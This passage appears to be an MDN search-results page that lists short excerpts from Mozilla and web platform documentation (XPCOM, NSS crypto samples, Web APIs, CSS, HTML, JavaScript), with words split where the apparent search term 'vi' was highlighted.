vious and the next frame in flow and a count number.
... enter this line in the text file * 1 this should look like: point the gecko_display_reflow_rules_file en
vironment variable to the path of the reflow_rules.txt file.
...And 10 more matches
Performance
the following examples omit some boilerplate code for the sake of bre
vity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics.
... performance best practices declaring stateless functions once per process bad: // addon.js ser
vices.mm.loadframescript("framescript.js", true) // framescript.js const precomputedconstants = // ...
... store heavyweight state once per process bad: // addon.js var main = new myaddonser
vice(); main.onchange(statechange); function statechange() { ser
vices.mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // framescript.js var maincopy; function onupdate(message) { maincopy = myaddonser
vice.deserialize(message.data.newconfig); } addmessagelistener("my-addon:update-configuration", onupdate) // maincopy used by other functions th...
...And 10 more matches
Profiling with Xperf
for stack walking, windows
vista or higher is required; i haven't tested it at all on xp.
...to see your xperf version, either run 'xperf' on a command line with no arguments, or start 'xperf
view' and look at help -> about performance analyzer.
... for 64-bit windows 7 or
vista, you'll need to do a registry tweak and then restart to enable stack walking: reg add "hklm\system\currentcontrolset\control\session manager\memory management" -v disablepagingexecutive -d 0x1 -t reg_dword -f symbol server setup with the latest versions of the windows performance toolkit, you can modify the symbol path directly from within the program
via the trace menu.
...And 10 more matches
Optimizing Applications For NSPR
netscape portable runtime (nspr) tries to pro
vide a consistent level of ser
vice across the platforms it supports.
...on nt, this problem is especially ob
vious because the idle thread, which is in charge of dri
ving the asynch io completion port, is also blocked.
... interrupting threads (
via <tt>pr_interrupt()</tt>) on threads blocked in i/o functions is implemented to various degrees on different platforms.
...And 10 more matches
Enc Dec MAC Output Public Key as CSR
secfailure; } pr_fprintf(outfile, "%s\n", header); printasascii(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem i
vitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(type, &i
vitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(type, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\...
...stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using pre
viously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
...anup: if (ctxmac != null) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc != null) { pk11_destroycontext(ctxenc, pr_true); } return rv; } /* * decrypt and verify mac */ secstatus decryptandverifymac(prfiledesc *outfile, prfiledesc *infile, unsigned int infilelength, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *i
vitem, secitem *paditem) { secstatus rv; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int cou...
...And 10 more matches
Encrypt Decrypt_MAC_Using Token
*/ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem i
vitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &i
vitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't cre...
...*/ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using pre
viously created iv.
... */ secstatus decryptandverifymac(const char* outfilename, char *encryptedfilename, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *i
vitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int...
...And 10 more matches
SpiderMonkey 17
it continues to improve performance over pre
vious spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code.
...on some other platforms (sparc, mips), the jit is pro
vided but not supported.
... on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in pre
vious versions.
...And 10 more matches
SpiderMonkey 24
it continues to improve performance over pre
vious spidermonkey releases, with a significantly improved garbage collector, a new jit compilation mode, and other features.
... (this change was motivated by garbage collector improvements, which lean quite hea
vily on c++'s support for raii through constructors and destructors.) if you are compiling with microsoft's
visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped.
...on some other platforms (sparc, mips), the jit is pro
vided but not supported.
...And 10 more matches
WebReplayRoadmap
the low level, yet flexible architecture (described here) pro
vides an extremely powerful platform for implementing debugging and analysis features.
... to that end, this document will be re
vised over time as we find new and better ways of helping developers.
... seeing messages in the console pro
vides a simple and intuitive
view into the order in which events have happened.
...And 10 more matches
Avoiding leaks in JavaScript XPCOM components
using xpcom in javascript (also known as xpconnect) is an en
vironment where memory management issues are not ob
vious.
...but it's even easier in this en
vironment because some of the objects you're dealing with are reference-counted behind the scenes.
... programmers writing and re
viewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
...And 10 more matches
Language bindings
an xpcom language binding is a bridge between a particular language and xpcom to pro
vide access to xpcom objects from that language, and to let modules written in that language be used as xpcom objects by all other languages for which there are xpcom bindings.
...these exception objects may be thrown when implementing xpcom interfaces in javascript, and they can pro
vide better diagnostics in the error console if not caught than simply throwing an nsresult's value will.components.idcomponents.id is a constructor that creates native objects that conform to the nsijsid interface.components.interfacescomponents.interfaces is a read-only object whose properties are interfaces indexed by their names.components.interfacesbyidcomponents.interfacesbyid is a read-only a...
...rray of classes indexed by iid.components.issuccesscodedetermines whether a given xpcom return code (that is, an nsresult value) indicates the success or failure of an operation, returning true or false respectively.components.lastresultcomponents.managercomponents.manager is a convenience reflection of the global native component manager ser
vice.
...And 10 more matches
IAccessibleTable2
method over
view [propget] hresult caption([out] iunknown accessible ); [propget] hresult cellat([in] long row, [in] long column, [out] iunknown cell ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hr...
...cell if both row and column index are valid then the corresponding accessible object is returned that represents the requested cell regardless of whether the cell is currently
visible (on the screen).
...pro
vided for use by the ia2_event_table_model_changed event handler.
...And 10 more matches
nsIChannel
inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (
via nsiioser
vice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters.
... method over
view void asyncopen(in nsistreamlistener alistener, in nsisupports acontext); nsiinputstream open(); attributes attribute type description contentcharset acstring the character set of the channel's content if available and if applicable.
... setting contentcharset before the channel has been opened pro
vides a hint to the channel on what the charset should be.
...And 10 more matches
nsINavHistoryQuery
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable encapsulates all the query parameters you're likely to need when building up history ui.
...this is important because, if the user has their profile on a networked drive, query latency can be non-negligible method over
view nsinavhistoryquery clone(); void getfolders([optional ]out unsigned long count, [retval,array,size_is(count)] out long long folders); void gettransitions([optional] out unsigned long count, [retval,array,size_is(count)] out unsigned long transitions); void setfolders([const,array, size_is(foldercount)] in long long folders, in unsigned long foldercount); void settransitions([const...
...it also includes things that have never been
visited.
...And 10 more matches
nsISelection2
method over
view void getrangesforinterval(in nsidomnode beginnode, in print32 beginoffset, in nsidomnode endnode, in print32 endoffset, in prbool allowadjacent, out pruint32 resultcount, [retval, array, size_is(resultcount)] out nsidomrange results); void getrangesforintervalcomarray(in nsidomnode beginnode, in print32 beginoffset, in nsidomnode endnode, in print32 endoffset, in prbool allowadjacent, in rang...
... void scrollinto
view(in short aregion, in boolean aissynchronous, in short avpercent, in short ahpercent); attributes attribute type description type short returns the type of the selection (see nsiselectioncontroller for available constants).
... scrollinto
view() scrolls a region of the selection, so that it is
visible in the scrolled
view.
...And 10 more matches
nsIWebProgressListener
method over
view void onlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, [optional] in unsigned long aflags); void onprogresschange(in nsiwebprogress awebprogress, in nsirequest arequest, in long acurselfprogress, in long amaxselfprogress, in long acurtotalprogress, in long amaxtotalprogress); void onsecuritychange(in nsiwebprogress awebprog...
...the document corresponding to a document request is available
via the domwindow attribute of onstatechange()'s awebprogress parameter.
... state_is_network 0x00040000 this flag indicates that the state transition corresponds to the start or stop of acti
vity in the indicated nsiwebprogress instance.
...And 10 more matches
XPCOM reference
this reference describes the interfaces and functions pro
vided by the xpcom library.
... in addition, it details the various helper classes and functions, as well as the components, pro
vided by the xpcom glue library.
... core xpcom functionsxpcom pro
vides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to ser
vices, and to instantiate interfaces.foldersthe folder classes all implement the nsimsgfolder interface.
...And 10 more matches
Edit fonts - Firefox Developer Tools
this article pro
vides a tour of the font tools available in the firefox devtools.
... this tool contains several useful features for
viewing and manipulating fonts applied to any document loaded in the browser including inspection of all fonts applied to the page, and precise adjustment of variable font axis values.
... note: if you want to use a different unit such as pt for font-size or line-height, you can set the property value applied to the currently inspected element to use that unit
via the rules
view, and the font editor will automatically pick it up and make it available in the associated units dropdown menu.
...And 10 more matches
FederatedCredential - Web APIs
the federatedcredential interface of the the credential management api pro
vides information about credentials from a federated identity pro
vider.
... a federated identity pro
vider is an entity that a website trusts to correctly authenticate a user, and that pro
vides an api for that purpose.
... openid connect is an example of a federated identity pro
vider framework.
...And 10 more matches
IDBKeyRange - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbkeyrangechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12fire...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
...And 10 more matches
IndexedDB API - Web APIs
indexeddb pro
vides a solution.
... this is the main landing page for mdn's indexeddb coverage — here we pro
vide links to the full api reference and usage guides, browser support details, and some explanation of key concepts.
... combine indexeddb for storing data offline with ser
vice workers for storing assets offline, as outlined in making pwas work offline with ser
vice workers.
...And 10 more matches
MediaStream Image Capture API - Web APIs
the mediastream image capture api is an api for capturing images or
videos from a photographic de
vice.
... in addition to capturing data, it also allows you to retrieve information about de
vice capabilities such as image size, red-eye reduction and whether or not there is a flash and what they are currently set to.
... conversely, the api allows the capabilities to be configured within the constraints what the de
vice allows.
...And 10 more matches
Media Capabilities API - Web APIs
the media capabilities api allows developers to determine decoding and encoding abilities of the de
vice, exposing information such as whether media is supported and whether playback should be smooth and power efficient, with real time feedback about playback to better enable adaptive streaming, and access to display property information.
... if ('mediacapabilities' in na
vigator) { const audiofileconfiguration = { type : 'file', audio : { contenttype: "audio/mp3", channels: 2, bitrate: 132700, samplerate: 5200 } }; na
vigator.mediacapabilities.decodinginfo(audiofileconfiguration).then(result => { console.log('this configuration is ' + (result.supported ?
...'' : 'not ') + 'power efficient.') }) .catch(() => { console.log("decodinginfo error: " + contenttype) }); } media capabilities api concepts and usage there are a myriad of
video and audio codecs.
...And 10 more matches
NotificationEvent - Web APIs
the parameter passed into the onnotificationclick handler, the notificationevent interface represents a notification click event that is dispatched on the ser
viceworkerglobalscope of a ser
viceworker.
... li
ving standard li
ving standard.
... note: this interface is specified in the notifications api, but accessed through ser
viceworkerglobalscope.
...And 10 more matches
RTCOutboundRtpStreamStats - Web APIs
the rtcoutboundrtpstreamstats dictionary is the rtcstats-based object which pro
vides metrics and statistics related to an outbound rtp stream being sent by an rtcrtpsender.
...valid only for
video streams.
...only valid for
video streams.
...And 10 more matches
TextMetrics - Web APIs
properties textmetrics.width read only is a double gi
ving the calculated width of a segment of inline text in css pixels.
... textmetrics.actualboundingboxleft read only is a double gi
ving the distance from the alignment point given by the canvasrenderingcontext2d.textalign property to the left side of the bounding rectangle of the given text, in css pixels.
... textmetrics.actualboundingboxright read only is a double gi
ving the distance from the alignment point given by the canvasrenderingcontext2d.textalign property to the right side of the bounding rectangle of the given text, in css pixels.
...And 10 more matches
USBEndpoint - Web APIs
the usbendpoint interface of the webusb api pro
vides information about an endpoint pro
vided by the usb de
vice.
... an endpoint represents a unidirectional data stream into or out of a de
vice.
... constructor usbendpoint.usbendpoint creates a new usbendpoint object which will be populated with information about the endpoint on the pro
vided usbaltenateinterface with the given endpoint number and transfer direction.
...And 10 more matches
A basic 2D WebGL animation example - Web APIs
then the final position is computed by multiplying the rotated position by the scaling vector pro
vided by the javascript code in uscalingfactor.
... let uscalingfactor; let uglobalcolor; let urotationvector; let avertexposition; // animation timing let pre
vioustime = 0.0; let degreespersecond = 90.0; initializing the program is handled through a load event handler called startup(): window.addeventlistener("load", startup, false); function startup() { glcanvas = document.getelementbyid("glcanvas"); gl = glcanvas.getcontext("webgl"); const shaderset = [ { type: gl.vertex_shader, id: "vertex-shader" }, { type: gl...
... once the shader program is built, we compute the aspect ratio of our context by di
viding its width by its height.
...And 10 more matches
WebGL constants - Web APIs
the webgl api pro
vides several constants that are passed into or returned by functions.
... standard webgl constants are installed on the webglrenderingcontext and webgl2renderingcontext objects, so that you use them as gl.constant_name: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl'); gl.getparameter(gl.line_width); some constants are also pro
vided by webgl extensions.
... a list is pro
vided below.
...And 10 more matches
Lifetime of a WebRTC session - Web APIs
webrtc lets you build peer-to-peer communication of arbitrary data, audio, or
video—or any combination thereof—into a browser application.
... this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply re
views the process in general with some information about why each step is required.
... see signaling and
video calling for an actual example with a step-by-step explanation of what the code does.
...And 10 more matches
Basic concepts behind Web Audio API - Web APIs
this modular design pro
vides the flexibility to create complex audio functions with dynamic effects.
... audio nodes are linked
via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination.
... although, you don't have to pro
vide a destination if you, say, just want to
visualize some audio data.
...And 10 more matches
Attestation and Assertion - Web APIs
attestation when an authenticator registers a new key pair with a ser
vice, the authenticator signs the public key with an attestation certificate.
... the attestation certificate is built into the authenticator during manufacturing time and is specific to a de
vice model.
...it is not included when used in the authenticatorassertionresponse.) different de
vices have different attestation formats.
...And 10 more matches
Web Speech API - Web APIs
there are two components to this api: speech recognition is accessed
via the speechrecognition interface, which pro
vides the ability to recognize voice context from an audio input (normally
via the de
vice's default speech recognition ser
vice) and respond appropriately.
... generally you'll use the interface's constructor to create a new speechrecognition object, which has a number of event handlers available for detecting when speech is input through the de
vice's microphone.
...grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed
via the speechsynthesis interface, a text-to-speech component that allows programs to read out their text content (normally
via the de
vice's default speech synthesiser.) different voice types are represented by speechsynthesisvoice objects, and different parts of text that you want to be spoken are represented by speechsynthesisutterance objects.
...And 10 more matches
WritableStream - Web APIs
the writablestream interface of the the streams api pro
vides a standard abstraction for writing streaming data to a destination, known as a sink.
...tten"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "...
... backpressure because of how backpressure is supported in the api, its implementation in code may be less than ob
vious.
...And 10 more matches
XRInputSource - Web APIs
the webxr de
vice api's xrinputsource interface describes a single source of control input which is part of the user's webxr-compatible
virtual or augmented reality system.
... the de
vice is specific to the platform being used, but pro
vides the direction in which it is being aimed and optionally may generate events if the user triggers performs actions using the de
vice.
... properties gamepad read only a gamepad object describing the state of the buttons and axes on the xr input source, if it is a gamepad or comparable de
vice.
...And 10 more matches
XRReferenceSpace: reset event - Web APIs
this is common when the user calibrates or recalibrates an xr de
vice, or if the de
vice automatically changes its origin after losing tracking of the user, then re-gaining it.
... bubbles yes cancelable no interface xrreferencespaceevent event handler property onreset usage notes the reset event indicates that the coordinate system has been reset or reconfigured by changing the reference space's origin, mo
ving and rotating it as indicated by the event's transform property.
... the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the immediate
vicinity of the last-known position.
...And 10 more matches
ARIA: Main role - Accessibility
description the main role is a na
vigational landmark role identifying the main content of a document.
... landmarks can be used by assistive technology to quickly identify and na
vigate to large sections of the document.
... by classifying and labeling sections of a page, structural information conveyed
visually through layout can be represented programmatically.
...And 10 more matches
Accessibility Information for Web Authors - Accessibility
how-to's key-na
vigable custom dhtml widgets in mozilla & ie this document discusses how to use tabindex, element.focus() and onkeypress to make custom dhtml widgets such as menus or tree
views keyboard accessible.
... automated checking & repair cynthia says™ from hisoftware® company "cynthia says™" is a free online webpage accessibility validation ser
vice that is designed to identify errors in webpage related to section 508 standards and/or the wcag guidelines.
... wave 4.0 beta (web accessibility versatile evaluator) from webaim and sponsored by temple university institute on disabilities wave 4.0 beta is another powerful, free online webpage accessibility validation ser
vice that identifies accessibility errors and reports accessibility warnings about webpage related to section 508 standards and/or the wcag guidelines.
...And 10 more matches
:link - CSS: Cascading Style Sheets
the :link css pseudo-class represents an element that has not yet been
visited.
... it matches every un
visited <a>, <area>, or <link> element that has an href attribute.
... /* selects any <a> that has not been
visited yet */ a:link { color: red; } styles defined by the :link pseudo-class will be overridden by any subsequent link-related pseudo-class (:active, :hover, or :
visited) that has at least equal specificity.
...And 10 more matches
break-inside - CSS: Cascading Style Sheets
/* keyword values */ break-inside: auto; break-inside: avoid; break-inside: avoid-page; break-inside: avoid-column; break-inside: avoid-region; /* global values */ break-inside: inherit; break-inside: initial; break-inside: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the pre
vious element, the break-before value of the next element, and the break-inside value of the containing element.
...nulla
vitae fringilla mauris.
...mauris
vitae hendrerit arcu, ac scelerisque lacus.
...And 10 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
the html details element (<details>) creates a disclosure widget in which information is
visible only when the widget is toggled into an "open" state.
... a summary or label can be pro
vided using the <summary> element.
...when the user clicks on the widget or focuses it then presses the space bar, it "twists" open, revealing its contents: from there, you can use css to style the disclosure widget, and you can programmatically open and close the widget by setting/remo
ving its open attribute.
...And 10 more matches
<input type="password"> - HTML: Hypertext Markup Language
<input> elements of type password pro
vide a way for the user to securely enter a password.
... specifics of how the entry process works may vary from browser to browser; mobile de
vices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on
virtual keyboards.
... note: any forms invol
ving sensitive information like passwords (e.g.
...And 10 more matches
Content-Security-Policy-Report-Only - HTTP
these
violation reports consist of json documents sent
via an http post request to the specified uri.
... examples this header reports
violations that would have occurred.
...you observe how your site behaves, watching for
violation reports, or malware redirects, then choose the desired policy enforced by the content-security-policy header.
...And 10 more matches
Link prefetching FAQ - HTTP
link prefetching is a browser mechanism, which utilizes browser idle time to download or prefetch documents that the user might
visit in the near future.
... a web page pro
vides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache.
... when the user
visits one of the prefetched documents, it can be served up quickly out of the browser's cache.
...And 10 more matches
Expressions and operators - JavaScript
« pre
viousnext » this chapter describes javascript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more.
...lso compound assignment operators that are shorthand for the operations listed in the following table: compound assignment operators name shorthand operator meaning assignment x = y x = y addition assignment x += y x = x + y subtraction assignment x -= y x = x - y multiplication assignment x *= y x = x * y di
vision assignment x /= y x = x / y remainder assignment x %= y x = x % y exponentiation assignment x **= y x = x ** y left shift assignment x <<= y x = x << y right shift assignment x >>= y x = x >> y unsigned right shift assignment x >>>= y x = x >>> y bitwise and assignment x &= y x = x & y bit...
...this beha
vior generally results in comparing the operands numerically.
...And 10 more matches
Grammar and types - JavaScript
« pre
viousnext » this chapter discusses javascript's basic grammar, variable declarations, data types and literals.
...undeclared global variables can often lead to unexpected beha
vior.
... if (true) { var x = 5; } console.log(x); // x is 5 this beha
vior changes when using the let declaration (introduced in ecmascript 2015).
...And 10 more matches
Array.prototype.reduce() - JavaScript
the reduce() method executes a reducer function (that you pro
vide) on each element of the array, resulting in single output value.
...it is the accumulated value pre
viously returned in the last invocation of the callback—or initialvalue, if it was supplied (see below).
...starts from index 0 if an initialvalue is pro
vided.
...And 10 more matches
How to make PWAs installable - Progressive web apps (PWAs)
pre
vious over
view: progressive next in the last article, we read about how the example application, js13kpwa, works offline thanks to its ser
vice worker, but we can go even further and allow users to install the web app on mobile and desktop browers that support doing so.
... these technologies allow the app to be launched directly from the de
vice's home screen, rather than the user ha
ving to open the browser and then na
vigate to the site by using a bookmark or typing the url.
...this makes the web app easier to access; additionally, you can specify that the app be launched in fullscreen or standalone mode, thus remo
ving the default browser user interface that would otherwise be present, creating an even more seamless and native-like feel.
...And 10 more matches
Web security
the web security-oriented articles listed here pro
vide information that may help you secure your site and its code from attacks and data theft.
... connection security transport security layer (tls) the transport layer security (tls) protocol is the standard for enabling two networked applications or de
vices to exchange information privately and robustly.
...this article pro
vides an over
view of tls and the kinds of decisions you need to make when securing your content.
...And 10 more matches
Content Processes - Archive of obsolete content
afterwards, it was decided to keep the design the way it is: even though it's no longer necessary, it turns out that from a security point of
view there are several important advantages to thinking about content and add-on code as li
ving in different processes.
...content scripts differ from scripts that are loaded by the page itself in that they are pro
vided with a messaging api that can be used to send messages back to the add-on script.
... content workers a content worker is an object that is used to inject content scripts into a content process, and to pro
vide a pipe between each content script and the main add-on script.
...And 9 more matches
XUL Migration Guide - Archive of obsolete content
first we'll outline how to decide whether your add-on is a good candidate for migration
via a comparison of the benefits and limitations of the sdk versus xul development.
... this is pro
vided only as a migration aid, and it's still a good idea to port xul windows to html.
...but the sdk makes a distinction between: add-on scripts, which can use the sdk apis, but are not able to interact with web pages content scripts, which can access web pages, but do not have access to the sdk's apis content scripts and add-on scripts communicate by sending each other json messages: in fact, the ability to communicate with the add-on scripts is the only extra pri
vilege a content script is granted over a normal remote web page script.
...And 9 more matches
tabs - Archive of obsolete content
in particular, you can enumerate it: var tabs = require('sdk/tabs'); for (let tab of tabs) console.log(tab.title); you can also access indi
vidual tabs by index: var tabs = require('sdk/tabs'); tabs.on('ready', function () { console.log('first: ' + tabs[0].title); console.log('last: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register eve...
...ccess and manipulate the page's content (see the modifying the page hosted by a tab tutorial): var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { var worker = tab.attach({ contentscript: 'self.port.emit("html", document.body.innerhtml);' }); worker.port.on("html", function(message) { console.log(message) }) }); note that tab.attach is tab-centric: if the user na
vigates to a new page in the same tab, then the worker and content scripts will be reattached to the new page.
... converting to xul tabs to convert from the high-level tab objects used in this api to the low-level xul tab objects used in the tabs/utils api and by traditional add-ons, use the
viewfor() function exported by the
viewfor module.
...And 9 more matches
Jetpack Processes - Archive of obsolete content
jetpack processes are created by components that implement the nsijetpackser
vice interface, and their parent chrome process communicates with them
via the nsijetpack interface.
... note: the jetpack ser
vice, pro
vided by nsijetpackser
vice, is not included by default in firefox 4.
... prior to firefox 12, it could be included in custom builds by using enable_jetpack_ser
vice at compile time.
...And 9 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
in order to host your add-on with mozilla it is crucial to minimize or completely eliminate eval use in order to receive a positive re
view and have your add-on made public.
... if it cannot be easily proven that an eval() call is benign and necessary because there are no
viable alternatives, a mozilla add-ons gallery re
viewer will generally reject the submission!
... parsing json mozilla pro
vides native json support since firefox 3.
...And 9 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
unfortunately, adding listeners for any of these events to a document has a highly deleterious effect on performance, an effect which is not mitigated in the slightest by later remo
ving those listeners.
...while they are still
viable for add-ons targeting only the latest firefox, those wishing to support older browsers will need to pro
vide fallbacks.
... hashchange and popstate events most ajax-heavy sites update the url when they significantly change their content, either
via a change to the fragment identifier (hash) or more recently
via the history.pushstate method.
...And 9 more matches
Getting Started - Archive of obsolete content
for this reason we suggest that you install a second copy into a second directory (make sure that you use a different profile as stated in the release notes) extract the chrome the chrome is stored in \mozilla\chrome and the indi
vidual modules are stored in jar files.
...this is a catchall directory which holds all of the images and styles for portions of mozilla that don't merit their own indi
vidual directory.
...skin info when switching skins in mozilla, it displays a pre
view image and some information about the theme.
...And 9 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
over
view of bidi processing bidi text is reordered according to the unicode bidi algorithm (uba).
...the order of the frames in the content model is not affected, so frames that are adjacent in the content model can be far apart
visually.
... a new frame iterator, ns
visualiterator (in nsframetraversal.cpp) pro
vides
visual frame na
vigation capability.
...And 9 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
you can use the sample code pro
vided here to make buttons that do various useful things.
...your operating system normally pro
vides them: a way to create and work with files and directories a text editor for plain text files character encoding some text editors have a setting for character encoding.
...open the file in seamonkey (for example, by dragging it and dropping it in the na
vigator window, or by choosing file – open file...
...And 9 more matches
Element Positioning - Archive of obsolete content
« pre
viousnext » here we'll look at controlling the position and size of an element.
...for example, the position of a button in a horizontal box is to the right of the pre
vious button, if any.
...an example is shown below: example 1: source
view <button label="ok" width="100" height="40"/> however, it is not recommended that you do this.
...And 9 more matches
More Tree Features - Archive of obsolete content
« pre
viousnext » here, we'll see more features of trees.
...the tree
view has a number of functions which specify the hierarchy of the items in a tree.
...the tree will query the
view for the level of each item in order to determine how to draw the rows.
...And 9 more matches
Skinning XUL Files by Hand - Archive of obsolete content
as you will see, css pro
vides a lot of flexibility for defining styles to indi
vidual elements, to classes of elements, to pseudo-classes, and to anonymous classes.
...also, most of the beha
vior that buttons exhibit comes from styles and an event model based on javascript that dynamically switches between these styles.
... mozilla's current global skin defines this basic beha
vior for several classes of button.
...And 9 more matches
panel - Archive of obsolete content
a panel may also be opened
via a script using the openpopup method.
...if it is not set, it defaults to the platform beha
vior.
...this attribute, set to both, permits that beha
vior.
...And 9 more matches
Extentsions FAQ - Archive of obsolete content
write an xpcom component in c++ - it will talk to the com component and will be accessible to js code
via xpconnect.
... these two links should give you a starting point: http://www..xulplanet.com/tutorials/...u/advmenu.html http://www.xulplanet.com/tutorials/x...dommodify.html request for a thunderbird extension that can automatically detect the default domain when composing e-mails
via autodetect.
... friday, september 29 - october 6, 2006 (↑ top) is there anyway,
via plugin or extension, for firefox to mimic the functionality of ie in this respect?
...And 9 more matches
Organizing your CSS - Learn web development
pre
vious over
view: building blocks as you start to work on larger stylesheets and big projects you will discover that maintaining a huge css file can be challenging.
...if spaces, how many spaces?) ha
ving a set of rules you always follow reduces the amount of mental overhead needed when writing css, as some of the decisions are already made.
... /* || header and main na
vigation */ ...
...And 9 more matches
Overflowing content - Learn web development
pre
vious over
view: building blocks next overflow is what happens when there is too much content to fit in a container.
...css pro
vides various tools to manage overflow.
... css tries to avoid "data loss" let's consider two examples that demonstrate the default beha
vior of css when there is overflow.
...And 9 more matches
Pseudo-classes and pseudo-elements - Learn web development
pre
vious over
view: building blocks next the next set of selectors we will look at are referred to as pseudo-classes and pseudo-elements.
...they tend to act as if you had applied a class to some part of your document, often helping you cut down on excess classes in your markup, and gi
ving you more flexible, maintainable code.
...they target some bit of your document that is in a certain state, beha
ving as if you had added a class into your html.
...And 9 more matches
Styling tables - Learn web development
pre
vious over
view: building blocks next styling an html table isn't the most glamorous job in the world, but sometimes we all have to do it.
... this article pro
vides a guide to making html tables look good, with some specific table styling techniques highlighted.
...some rows removed for bre
vity <tr> <th scope="row">the stranglers</th> <td>1974</td> <td>17</td> <td>no more heroes</td> </tr> </tbody> <tfoot> <tr> <th scope="row" colspan="2">total albums</th> <td colspan="2">77</td> </tr> </tfoot> </table> the table is nicely marked up, easily styleable, and accessible, thanks to features such as scope, <caption>, <thead>, <tbod...
...And 9 more matches
CSS layout - Learn web development
now it's time to look at how to place your boxes in the right place in relation to the
